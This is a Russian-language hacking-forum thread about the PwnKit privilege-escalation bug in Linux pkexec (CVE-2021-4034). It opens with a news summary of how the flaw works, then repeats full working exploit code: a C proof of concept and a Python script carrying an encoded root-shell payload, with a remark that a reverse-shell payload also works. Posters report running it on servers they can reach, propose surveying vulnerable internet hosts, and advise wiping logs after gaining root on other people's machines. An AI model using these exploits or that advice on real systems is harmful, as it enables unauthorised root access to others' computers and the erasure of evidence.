Просмотр полной версии : CVE-2021-4034 aka pwnkit
This vulnerability is an attacker's dream come true
Оригинал:
https://www.openwall.com/lists/oss-security/2022/01/25/11
Эксплоит:
https://github.com/berdav/CVE-2021-4034
.SpoilerTarget" type="button">Spoiler: Подробности
Компания Qualys выявила (https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034) уявзвимость (https://www.openwall.com/lists/oss-security/2022/01/25/11) (CVE-2021-4034 (https://security-tracker.debian.org/tracker/CVE-2021-4034)) в системном компоненте Polkit (бывший PolicyKit), используемом в дистрибутивах для организации выполнения непривилегированными пользователями действий, требующих повышенных прав доступа. Уязвимость позволяет непривилегированному локальному пользователю повысить свои привилегии до пользователя root и получить полный контроль за системой. Проблема получила кодовое имя PwnKit и примечательная подготовкой рабочего эксплоита, работающего в конфигурации по умолчанию в большинстве дистрибутивов Linux.
Проблема присутствует во входящей в состав PolKit утилите pkexec, поставляемой с флагом SUID root и предназначенной для запуска команд с привилегиями другого пользователя в соответствии с заданными правилами PolKit. Из-за некорректной обработки передаваемых в pkexec аргументов командной строки непривилегированный пользователь мог обойти аутентификацию и добиться запуска своего кода с правами root, независимо от установленных правил доступа. Для атаки не важно какие настройки и ограничения в PolKit заданы, достаточно чтобы для исполняемого файла с утилитой pkexec был выставлен признак SUID root.
Pkexec не проверяет корректность счётчика аргументов командной строки (argc), передаваемых при запуске процесса. Разработчиками pkexec подразумевалось, что первая запись массива argv всегда содержит имя процесса (pkexec), а вторая либо значение NULL, либо имя запускаемой через pkexec команды. Так как счётчик аргументов не проверялся на соответствие фактическому содержимому массива и полагалось, что он всегда больше 1, в случае передачи процессу пустого массива argv, что допускает функция execve (https://man7.org/linux/man-pages/man2/execve.2.html) в Linux, pkexec воспринимал значение NULL как первый аргумент (имя процесса), а следующую за пределами буфера память, как далее идущее содержимое массива.
|---------+---------+-----+------------|---------+---------+-----+------------|
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|
V V V V V V
"program" "-option" NULL "value" "PATH=name" NULL
Проблема в том, что следом за массивом argv в памяти размещается массив envp, содержащий переменные окружения. Таким образом, при пустом массиве argv, pkexec извлекает данные о запускаемой с повышенными привилегиями команде из первого элемента массива с переменными окружения (argv[1] становился идентичен envp[0]), содержимое которого может контролировать атакующий.
Получив значение argv[1], pkexec пытается с учётом файловых путей в PATH определить полный путь к исполняемому файлу и записать указатель на строку с полный путём обратно в argv[1], что приведёт к перезаписи и значения первой переменной окружения, так как argv[1] идентичен envp[0]. Через манипуляцию с именем первой переменной окружения, атакующий может осуществить подстановку другой переменной окружения в pkexec, например, подставить переменную окружения "LD_PRELOAD", которая недопускается в suid-программах, и организовать загрузку в процесс своей разделяемой библиотеки.
В рабочем эксплоите осуществляется подстановка переменной GCONV_PATH, которая используется для определения пути к библиотеке перекодирования символов, динамически загружаемой при вызове функции g_printerr(), в коде которой используется iconv_open(). Переопределив путь в GCONV_PATH атакующий может добиться загрузки не штатной библиотеки iconv, а своей библиотеки, обработчики из которой будут выполнены во время вывода сообщения об ошибке на стадии, когда pkexec ещё выполняется с правами root и до проверки полномочий запуска.
Отмечается, что несмотря на то, что проблема вызвана повреждением памяти, она может надёжно и повторяемо эксплуатироваться независимо от используемой аппаратной архитектуры. Подготовленный эксплоит успешно протестирован в Ubuntu, Debian, Fedora и CentOS, но может быть использован и в других дистрибутивах. Оригинальный эксплоит пока не доступен публично, что утверждается, что он является тривиальным и может быть легко воссоздан другими исследователями, поэтому на многопользовательских системах важно как можно скорее установить обновление с исправлением. Polkit также доступен для BSD-систем и Solaris, но изучение возможности эксплуатации в них не производилось. Известно только то, что атака не может быть осуществлена в OpenBSD, так как ядро OpenBSD не допускает передачу при вызове execve() нулевого значения argc.
Проблема присутствует с мая 2009 года, со времени добавления (https://gitlab.freedesktop.org/polkit/polkit/-/commit/c8c3d83) команды pkexec. Исправление уявзимости в PolKit пока доступно в виде патча (https://gitlab.freedesktop.org/polkit/polkit/-/commit/a2bf5c9c83b6ae46cbd5c779d3055bff81ded683) (корректирующий выпуск не сформирован (https://gitlab.freedesktop.org/polkit/polkit/-/tags)), но так как разработчики дистрибутивов были заранее уведомлены о проблеме, большинство дистрибутивов опубликовало обновление одновременно с раскрытием информации об уязвимости. Проблема устранена в RHEL 6/7/8 (https://access.redhat.com/security/vulnerabilities/RHSB-2022-001), Debian (https://security-tracker.debian.org/tracker/CVE-2021-4034), Ubuntu (https://people.canonical.com/~ubuntu-security/cve/CVE-2021-4034), openSUSE (https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/SGEROI6PUOTOXKFIH2MPKUQ3PI6VWLXQ/), SUSE (https://www.suse.com/security/cve/CVE-2021-4034.html), Fedora (https://bodhi.fedoraproject.org/updates/?releases=F35&type=security), ALT Linux (https://packages.altlinux.org/en/sisyphus/srpms/polkit/), ROSA (https://bugzilla.rosalinux.ru/show_bug.cgi?id=11937), Gentoo (https://bugs.gentoo.org/show_bug.cgi?id=CVE-2021-4034) и Arch Linux (https://github.com/archlinux/svntogit-packages/commits/packages/polkit/trunk). В качестве временной меры для блокирования уязвимости можно убрать флаг SUID root с программы /usr/bin/pkexec ("chmod 0755 /usr/bin/pkexec").
https://www.opennet.ru/opennews/art.shtml?num=56580
joelblack
26.01.2022, 23:01
crlf said:
↑ (https://antichat.live/posts/4488417/)
This vulnerability is an attacker's dream come true
Оригинал:
https://www.openwall.com/lists/oss-security/2022/01/25/11
Эксплоит:
https://github.com/berdav/CVE-2021-4034
Spoiler: Подробности
Компания Qualys
выявила (https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034)
уявзвимость (https://www.openwall.com/lists/oss-security/2022/01/25/11)
(
CVE-2021-4034 (https://security-tracker.debian.org/tracker/CVE-2021-4034)
) в системном компоненте Polkit (бывший PolicyKit), используемом в дистрибутивах для организации выполнения непривилегированными пользователями действий, требующих повышенных прав доступа. Уязвимость позволяет непривилегированному локальному пользователю повысить свои привилегии до пользователя root и получить полный контроль за системой. Проблема получила кодовое имя PwnKit и примечательная подготовкой рабочего эксплоита, работающего в конфигурации по умолчанию в большинстве дистрибутивов Linux.
Проблема присутствует во входящей в состав PolKit утилите pkexec, поставляемой с флагом SUID root и предназначенной для запуска команд с привилегиями другого пользователя в соответствии с заданными правилами PolKit. Из-за некорректной обработки передаваемых в pkexec аргументов командной строки непривилегированный пользователь мог обойти аутентификацию и добиться запуска своего кода с правами root, независимо от установленных правил доступа. Для атаки не важно какие настройки и ограничения в PolKit заданы, достаточно чтобы для исполняемого файла с утилитой pkexec был выставлен признак SUID root.
Pkexec не проверяет корректность счётчика аргументов командной строки (argc), передаваемых при запуске процесса. Разработчиками pkexec подразумевалось, что первая запись массива argv всегда содержит имя процесса (pkexec), а вторая либо значение NULL, либо имя запускаемой через pkexec команды. Так как счётчик аргументов не проверялся на соответствие фактическому содержимому массива и полагалось, что он всегда больше 1, в случае передачи процессу пустого массива argv, что допускает функция
execve (https://man7.org/linux/man-pages/man2/execve.2.html)
в Linux, pkexec воспринимал значение NULL как первый аргумент (имя процесса), а следующую за пределами буфера память, как далее идущее содержимое массива.
|---------+---------+-----+------------|---------+---------+-----+------------|
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|
V V V V V V
"program" "-option" NULL "value" "PATH=name" NULL
Проблема в том, что следом за массивом argv в памяти размещается массив envp, содержащий переменные окружения. Таким образом, при пустом массиве argv, pkexec извлекает данные о запускаемой с повышенными привилегиями команде из первого элемента массива с переменными окружения (argv[1] становился идентичен envp[0]), содержимое которого может контролировать атакующий.
Получив значение argv[1], pkexec пытается с учётом файловых путей в PATH определить полный путь к исполняемому файлу и записать указатель на строку с полный путём обратно в argv[1], что приведёт к перезаписи и значения первой переменной окружения, так как argv[1] идентичен envp[0]. Через манипуляцию с именем первой переменной окружения, атакующий может осуществить подстановку другой переменной окружения в pkexec, например, подставить переменную окружения "LD_PRELOAD", которая недопускается в suid-программах, и организовать загрузку в процесс своей разделяемой библиотеки.
В рабочем эксплоите осуществляется подстановка переменной GCONV_PATH, которая используется для определения пути к библиотеке перекодирования символов, динамически загружаемой при вызове функции g_printerr(), в коде которой используется iconv_open(). Переопределив путь в GCONV_PATH атакующий может добиться загрузки не штатной библиотеки iconv, а своей библиотеки, обработчики из которой будут выполнены во время вывода сообщения об ошибке на стадии, когда pkexec ещё выполняется с правами root и до проверки полномочий запуска.
Отмечается, что несмотря на то, что проблема вызвана повреждением памяти, она может надёжно и повторяемо эксплуатироваться независимо от используемой аппаратной архитектуры. Подготовленный эксплоит успешно протестирован в Ubuntu, Debian, Fedora и CentOS, но может быть использован и в других дистрибутивах. Оригинальный эксплоит пока не доступен публично, что утверждается, что он является тривиальным и может быть легко воссоздан другими исследователями, поэтому на многопользовательских системах важно как можно скорее установить обновление с исправлением. Polkit также доступен для BSD-систем и Solaris, но изучение возможности эксплуатации в них не производилось. Известно только то, что атака не может быть осуществлена в OpenBSD, так как ядро OpenBSD не допускает передачу при вызове execve() нулевого значения argc.
Проблема присутствует с мая 2009 года, со времени
добавления (https://gitlab.freedesktop.org/polkit/polkit/-/commit/c8c3d83)
команды pkexec. Исправление уявзимости в PolKit пока доступно в виде
патча (https://gitlab.freedesktop.org/polkit/polkit/-/commit/a2bf5c9c83b6ae46cbd5c779d3055bff81ded683)
(корректирующий выпуск
не сформирован (https://gitlab.freedesktop.org/polkit/polkit/-/tags)
), но так как разработчики дистрибутивов были заранее уведомлены о проблеме, большинство дистрибутивов опубликовало обновление одновременно с раскрытием информации об уязвимости. Проблема устранена в
RHEL 6/7/8 (https://access.redhat.com/security/vulnerabilities/RHSB-2022-001)
,
Debian (https://security-tracker.debian.org/tracker/CVE-2021-4034)
,
Ubuntu (https://people.canonical.com/~ubuntu-security/cve/CVE-2021-4034)
,
openSUSE (https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/SGEROI6PUOTOXKFIH2MPKUQ3PI6VWLXQ/)
,
SUSE (https://www.suse.com/security/cve/CVE-2021-4034.html)
,
Fedora (https://bodhi.fedoraproject.org/updates/?releases=F35&type=security)
,
ALT Linux (https://packages.altlinux.org/en/sisyphus/srpms/polkit/)
,
ROSA (https://bugzilla.rosalinux.ru/show_bug.cgi?id=11937)
,
Gentoo (https://bugs.gentoo.org/show_bug.cgi?id=CVE-2021-4034)
и
Arch Linux (https://github.com/archlinux/svntogit-packages/commits/packages/polkit/trunk)
. В качестве временной меры для блокирования уязвимости можно убрать флаг SUID root с программы /usr/bin/pkexec ("chmod 0755 /usr/bin/pkexec").
https://www.opennet.ru/opennews/art.shtml?num=56580
Легкий способ набить очков на htb)
Или серьезная проблема в инете.
Там, где раньше был просто шелл, сегодня может быть рут.
По-хорошему, надо бы собрать статистику уязвимых систем, пока бага жива.
Толи бага, толи бекдор (как справедливо заметил crlf), интрига есть, возможно позже появятся подробности.
Ravenous
27.01.2022, 05:12
dooble said:
↑ (https://antichat.live/posts/4488490/)
Или серьезная проблема в инете.
Там, где раньше был просто шелл, сегодня может быть рут.
По-хорошему, надо бы собрать статистику уязвимых систем, пока бага жива.
Толи бага, толи бекдор (как справедливо заметил crlf), интрига есть, возможно позже появятся подробности.
pkexec довольно редко встречается на веб серверах.
Пока нигде не сработало кроме своей виртуалки
Видимо нужны "особые условия"
Ravenous said:
↑ (https://antichat.live/posts/4488502/)
pkexec довольно редко встречается на веб серверах.
Пока нигде не сработало кроме своей виртуалки
Видимо нужны "особые условия"
У меня другие результаты, на доступных серверах - сработало везде (где есть pkexec), на debian, ubuntu, centos.
Проверял этим (https://haxx.in/files/blasty-vs-pkexec.c).
И патчил.
.SpoilerTarget" type="button">Spoiler: test
[CODE]
Code:
/*
* blasty-vs-pkexec.c -- by blasty
* ------------------------------------------------
* PoC for CVE-2021-4034, shout out to Qualys
*
* ctf quality exploit
*
* bla bla irresponsible disclosure
*
* -- blasty // 2022-01-25
*/
#include
#include
#include
#include
#include
#include
#include
void fatal(char *f) {
perror(f);
exit(-1);
}
void compile_so() {
FILE *f = fopen("payload.c", "wb");
if (f == NULL) {
fatal("fopen");
}
char so_code[]=
"#include \n"
"#include \n"
"#include \n"
"void gconv() {\n"
" return;\n"
"}\n"
"void gconv_init() {\n"
" setuid(0); seteuid(0); setgid(0); setegid(0);\n"
" static char *a_argv[] = { \"sh\", NULL };\n"
" static char *a_envp[] = { \"PATH=/bin:/usr/bin:/sbin\", NULL };\n"
" execve(\"/bin/sh\", a_argv, a_envp);\n"
" exit(0);\n"
"}\n";
fwrite(so_code, strlen(so_code), 1, f);
fclose(f);
system("gcc -o payload.so -shared -fPIC payload.c");
}
int main(int argc, char *argv[]) {
struct stat st;
char *a_argv[]={ NULL };
char *a_envp[]={
"lol",
"PATH=GCONV_PATH=.",
"LC_MESSAGES=en_US.UTF-8",
"XAUTHORITY=../LOL",
NULL
};
printf("[~] compile helper..\n");
compile_so();
if (stat("GCONV_PATH=.", &st)
Но интересует картина в целом по инету.
Ravenous said:
↑ (https://antichat.live/posts/4488502/)
pkexec довольно редко встречается на веб серверах.
"довольно редко встречается", без соответствующего подтверждения пруфами, мягко говоря, излишне категоричное заявление Думается процентое соотношение на 1к хостов был бы вполне репрезентативно, тем более, что хватит простого which pkexec.
Сделает кто? С меня +10 репы
Ravenous
27.01.2022, 13:11
[QUOTE="dooble"]
dooble said:
↑ (https://antichat.live/posts/4488503/)
У меня другие результаты, на доступных серверах - сработало везде (где есть pkexec), на debian, ubuntu, centos.
Проверял
этим (https://haxx.in/files/blasty-vs-pkexec.c)
.
И патчил.
Spoiler: test
[CODE]
Code:
/*
* blasty-vs-pkexec.c -- by blasty
* ------------------------------------------------
* PoC for CVE-2021-4034, shout out to Qualys
*
* ctf quality exploit
*
* bla bla irresponsible disclosure
*
* -- blasty // 2022-01-25
*/
#include
#include
#include
#include
#include
#include
#include
void fatal(char *f) {
perror(f);
exit(-1);
}
void compile_so() {
FILE *f = fopen("payload.c", "wb");
if (f == NULL) {
fatal("fopen");
}
char so_code[]=
"#include \n"
"#include \n"
"#include \n"
"void gconv() {\n"
" return;\n"
"}\n"
"void gconv_init() {\n"
" setuid(0); seteuid(0); setgid(0); setegid(0);\n"
" static char *a_argv[] = { \"sh\", NULL };\n"
" static char *a_envp[] = { \"PATH=/bin:/usr/bin:/sbin\", NULL };\n"
" execve(\"/bin/sh\", a_argv, a_envp);\n"
" exit(0);\n"
"}\n";
fwrite(so_code, strlen(so_code), 1, f);
fclose(f);
system("gcc -o payload.so -shared -fPIC payload.c");
}
int main(int argc, char *argv[]) {
struct stat st;
char *a_argv[]={ NULL };
char *a_envp[]={
"lol",
"PATH=GCONV_PATH=.",
"LC_MESSAGES=en_US.UTF-8",
"XAUTHORITY=../LOL",
NULL
};
printf("[~] compile helper..\n");
compile_so();
if (stat("GCONV_PATH=.", &st)
* ------------------------------------------------
* PoC for CVE-2021-4034, shout out to Qualys
*
* ctf quality exploit
*
* bla bla irresponsible disclosure
*
* -- blasty // 2022-01-25
*/
#include
#include
#include
#include
#include
#include
#include
void fatal(char *f) {
perror(f);
exit(-1);
}
void compile_so() {
FILE *f = fopen("payload.c", "wb");
if (f == NULL) {
fatal("fopen");
}
char so_code[]=
"#include \n"
"#include \n"
"#include \n"
"void gconv() {\n"
" return;\n"
"}\n"
"void gconv_init() {\n"
" setuid(0); seteuid(0); setgid(0); setegid(0);\n"
" static char *a_argv[] = { \"sh\", NULL };\n"
" static char *a_envp[] = { \"PATH=/bin:/usr/bin:/sbin\", NULL };\n"
" execve(\"/bin/sh\", a_argv, a_envp);\n"
" exit(0);\n"
"}\n";
fwrite(so_code, strlen(so_code), 1, f);
fclose(f);
system("gcc -o payload.so -shared -fPIC payload.c");
}
int main(int argc, char *argv[]) {
struct stat st;
char *a_argv[]={ NULL };
char *a_envp[]={
"lol",
"PATH=GCONV_PATH=.",
"LC_MESSAGES=en_US.UTF-8",
"XAUTHORITY=../LOL",
NULL
};
printf("[~] compile helper..\n");
compile_so();
if (stat("GCONV_PATH=.", &st)
DartPhoenix
27.01.2022, 13:29
Можно просто у себя чекнуть.
У меня не сработала магия Несколько разных пробовал чисто на всякий случай.
Я недавно обновлялся...
А вот мобилу-бы да, надо проверить.
UPD: юзать на чужих тачках может быть не очень круто. Ибо оно в логах гадит вроде-как.
DartPhoenix said:
↑ (https://antichat.live/posts/4488536/)
Я недавно обновлялся...
Да, именно так и выглядит пропатченный вариант. Если посмотреть сорцы, то там добавили проверку аргумента, в оригинале, флоу летел дальше.
DartPhoenix said:
↑ (https://antichat.live/posts/4488536/)
А вот мобилу-бы да, надо проверить.
Если мобила на андроиде, вангую там pkexec-ом и не пахнет.
DartPhoenix said:
↑ (https://antichat.live/posts/4488536/)
UPD: юзать на чужих тачках может быть не очень круто. Ибо оно в логах гадит вроде-как.
Так после рута, как правило, логи нужно в обязательном порядке ванишить чистить
DartPhoenix
27.01.2022, 16:14
crlf said:
↑ (https://antichat.live/posts/4488578/)
Если мобила на андроиде, вангую там pkexec-ом и не пахнет.
Угу. По умолчанию sudo тоже отсуствует. Надо попробовать порутать его и посмотреть.
Может они ставят.
crlf said:
↑ (https://antichat.live/posts/4488578/)
Если мобила на андроиде, вангую там pkexec-ом и не пахнет.
На мобилках зачастую какой нибудь busybox там такие вещи как pkexec не нужны, но возможно на кастомных сборках и встретить можно. бага жесть...
Сплоит на python, даже канпилить ничего не нужно
.SpoilerTarget" type="button">Spoiler: PoC
# CVE-2021-4034 in Python
#
# Joe Ammond (joe@ammond.org)
#
# This was just an experiment to see whether I could get this to work
# in Python, and to play around with ctypes
# This was completely cribbed from blasty's original C code:
# https://haxx.in/files/blasty-vs-pkexec.c
import base64
import os
import sys
from ctypes import *
from ctypes.util import find_library
# Payload, base64 encoded ELF shared object. Generate with:
#
# msfvenom -p linux/x64/exec -f elf-so PrependSetuid=true | base64
#
# The PrependSetuid=true is important, without it you'll just get
# a shell as the user and not root.
#
# Should work with any msfvenom payload, tested with linux/x64/exec
# and linux/x64/shell_reverse_tcp
payload_b64 = b'''
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkgEAAAAAAABAAAAAAA AAALAAAAAAAAAAAAAAAEAAOAAC
AEAAAgABAAEAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AArwEAAAAAAADMAQAAAAAAAAAQ
AAAAAAAAAgAAAAcAAAAwAQAAAAAAADABAAAAAAAAMAEAAAAAAA BgAAAAAAAAAGAAAAAAAAAAABAA
AAAAAAABAAAABgAAAAAAAAAAAAAAMAEAAAAAAAAwAQAAAAAAAG AAAAAAAAAAAAAAAAAAAAAIAAAA
AAAAAAcAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAJABAAAAAAAAkA EAAAAAAAACAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAkgEAAAAAAAAFAA AAAAAAAJABAAAAAAAABgAAAAAA
AACQAQAAAAAAAAoAAAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA
AAAASDH/amlYDwVIuC9iaW4vc2gAmVBUX1JeajtYDwU=
'''
payload = base64.b64decode(payload_b64)
# Set the environment for the call to execve()
environ = [
b'exploit',
b'PATH=GCONV_PATH=.',
b'LC_MESSAGES=en_US.UTF-8',
b'XAUTHORITY=../LOL',
None
]
# Find the C library to call execve() directly, as Python helpfully doesn't
# allow us to call execve() with no arguments.
try:
libc = CDLL(find_library('c'))
except:
print('[!] Unable to find the C library, wtf?')
sys.exit()
# Create the shared library from the payload
print('[+] Creating shared library for exploit code.')
try:
with open('payload.so', 'wb') as f:
f.write(payload)
except:
print('[!] Failed creating payload.so.')
sys.exit()
os.chmod('payload.so', 0o0755)
# make the GCONV_PATH directory
try:
os.mkdir('GCONV_PATH=.')
except FileExistsError:
print('[-] GCONV_PATH=. directory already exists, continuing.')
except:
print('[!] Failed making GCONV_PATH=. directory.')
sys.exit()
# Create a temp exploit file
try:
with open('GCONV_PATH=./exploit', 'wb') as f:
f.write(b'')
except:
print('[!] Failed creating exploit file')
sys.exit()
os.chmod('GCONV_PATH=./exploit', 0o0755)
# Create directory to hold gconf-modules configuration file
try:
os.mkdir('exploit')
except FileExistsError:
print('[-] exploit directory already exists, continuing.')
except:
print('[!] Failed making exploit directory.')
sys.exit()
# Create gconf config file
try:
with open('exploit/gconv-modules', 'wb') as f:
f.write(b'module UTF-8// INTERNAL ../payload 2\n');
except:
print('[!] Failed to create gconf-modules config file.')
sys.exit()
# Convert the environment to an array of char*
environ_p = (c_char_p * len(environ))()
environ_p[:] = environ
print('[+] Calling execve()')
# Call execve() with NULL arguments
libc.execve(b'/usr/bin/pkexec', c_char_p(None), environ_p)
#!/usr/bin/env python3
https://github.com/joeammond/CVE-2021-4034
DartPhoenix
28.01.2022, 19:38
crlf said:
↑ (https://antichat.live/posts/4488718/)
Сплоит на python, даже канпилить ничего не нужно
Spoiler: PoC
# CVE-2021-4034 in Python
#
# Joe Ammond (joe@ammond.org)
#
# This was just an experiment to see whether I could get this to work
# in Python, and to play around with ctypes
# This was completely cribbed from blasty's original C code:
#
https://haxx.in/files/blasty-vs-pkexec.c
import base64
import os
import sys
from ctypes import *
from ctypes.util import find_library
# Payload, base64 encoded ELF shared object. Generate with:
#
# msfvenom -p linux/x64/exec -f elf-so PrependSetuid=true | base64
#
# The PrependSetuid=true is important, without it you'll just get
# a shell as the user and not root.
#
# Should work with any msfvenom payload, tested with linux/x64/exec
# and linux/x64/shell_reverse_tcp
payload_b64 = b'''
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkgEAAAAAAABAAAAAAA AAALAAAAAAAAAAAAAAAEAAOAAC
AEAAAgABAAEAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AArwEAAAAAAADMAQAAAAAAAAAQ
AAAAAAAAAgAAAAcAAAAwAQAAAAAAADABAAAAAAAAMAEAAAAAAA BgAAAAAAAAAGAAAAAAAAAAABAA
AAAAAAABAAAABgAAAAAAAAAAAAAAMAEAAAAAAAAwAQAAAAAAAG AAAAAAAAAAAAAAAAAAAAAIAAAA
AAAAAAcAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAJABAAAAAAAAkA EAAAAAAAACAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAkgEAAAAAAAAFAA AAAAAAAJABAAAAAAAABgAAAAAA
AACQAQAAAAAAAAoAAAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAA
AAAASDH/amlYDwVIuC9iaW4vc2gAmVBUX1JeajtYDwU=
'''
payload = base64.b64decode(payload_b64)
# Set the environment for the call to execve()
environ = [
b'exploit',
b'PATH=GCONV_PATH=.',
b'LC_MESSAGES=en_US.UTF-8',
b'XAUTHORITY=../LOL',
None
]
# Find the C library to call execve() directly, as Python helpfully doesn't
# allow us to call execve() with no arguments.
try:
libc = CDLL(find_library('c'))
except:
print('[!] Unable to find the C library, wtf?')
sys.exit()
# Create the shared library from the payload
print('[+] Creating shared library for exploit code.')
try:
with open('payload.so', 'wb') as f:
f.write(payload)
except:
print('[!] Failed creating payload.so.')
sys.exit()
os.chmod('payload.so', 0o0755)
# make the GCONV_PATH directory
try:
os.mkdir('GCONV_PATH=.')
except FileExistsError:
print('[-] GCONV_PATH=. directory already exists, continuing.')
except:
print('[!] Failed making GCONV_PATH=. directory.')
sys.exit()
# Create a temp exploit file
try:
with open('GCONV_PATH=./exploit', 'wb') as f:
f.write(b'')
except:
print('[!] Failed creating exploit file')
sys.exit()
os.chmod('GCONV_PATH=./exploit', 0o0755)
# Create directory to hold gconf-modules configuration file
try:
os.mkdir('exploit')
except FileExistsError:
print('[-] exploit directory already exists, continuing.')
except:
print('[!] Failed making exploit directory.')
sys.exit()
# Create gconf config file
try:
with open('exploit/gconv-modules', 'wb') as f:
f.write(b'module UTF-8// INTERNAL ../payload 2\n');
except:
print('[!] Failed to create gconf-modules config file.')
sys.exit()
# Convert the environment to an array of char*
environ_p = (c_char_p * len(environ))()
environ_p[:] = environ
print('[+] Calling execve()')
# Call execve() with NULL arguments
libc.execve(b'/usr/bin/pkexec', c_char_p(None), environ_p)
#!/usr/bin/env python3
https://github.com/joeammond/CVE-2021-4034
У кого Маздай - тому проще сканпилить чем пЕтон инсталлить.
Там же еще с ним полюбому Яндекс.поиск какой-нибудь воткнется - забодаешься удалять потом
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot